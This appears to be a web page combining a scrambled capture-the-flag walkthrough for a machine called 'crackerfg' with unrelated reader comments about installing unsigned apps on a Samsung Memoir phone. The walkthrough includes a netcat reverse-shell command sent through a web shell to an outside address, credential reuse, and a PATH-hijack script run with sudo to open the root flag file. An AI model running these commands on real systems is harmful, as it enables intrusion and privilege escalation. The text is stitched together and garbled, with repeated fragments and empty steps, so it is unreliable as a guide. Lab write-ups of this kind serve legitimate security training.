Skip to content crackerfg

|top| Crackerfg May 2026

Stable shell:

Use gobuster :

$db_user = "webapp"; $db_pass = "crackme_123"; Try admin:crackme_123 on the login page → success. crackerfg

You get RCE as www-data . # On attacker machine nc -lvnp 4444 Via the web shell cmd=nc -e /bin/bash 10.10.14.14 4444

Run strings /usr/bin/crackerfg – it calls a system command: hashgen . Stable shell: Use gobuster : $db_user = "webapp";

echo '#!/bin/bash' > /tmp/hashgen echo 'chmod 777 /root/root.txt' >> /tmp/hashgen chmod +x /tmp/hashgen export PATH=/tmp:$PATH sudo /usr/bin/crackerfg Now /root/root.txt is readable.

Read the flag:

sudo -l User www-data can run /usr/bin/crackerfg as root without password.

4 thoughts on “Samsung T929 (Memoir) camera” Leave a comment ›

  1. Pingback: Månhus » Länksprutning – 28 July 2009

  2. I’m trying to download unsigned applications with my memoir… i tried doing the same with what the link you posted but when i was asked for the port number.. it is blank.. so from there i cannot continue anymore.. can you help me with this?
    Thanks!!

    Reply

    • Read the instructions in the link carefully again. Make sure the USB driver is properly installed (reboot if necessary). Check that the phone is in the right USB mode (PC studio I think). The port number will be be some high number like COM18. Good luck.

      Reply

  3. I am able to install one unsigned application, a dictionary. The application appears. But as soon as I click the icon, the phone crashes, and I have to restart, and restore the factory setting and delete everything. I have tried it several times.

    The application works well in my unlocked LG phone. So I am pretty sure that the problem is with the phone.

    Could you please give some thoughts? I really appreciate it.

    Reply

Leave a comment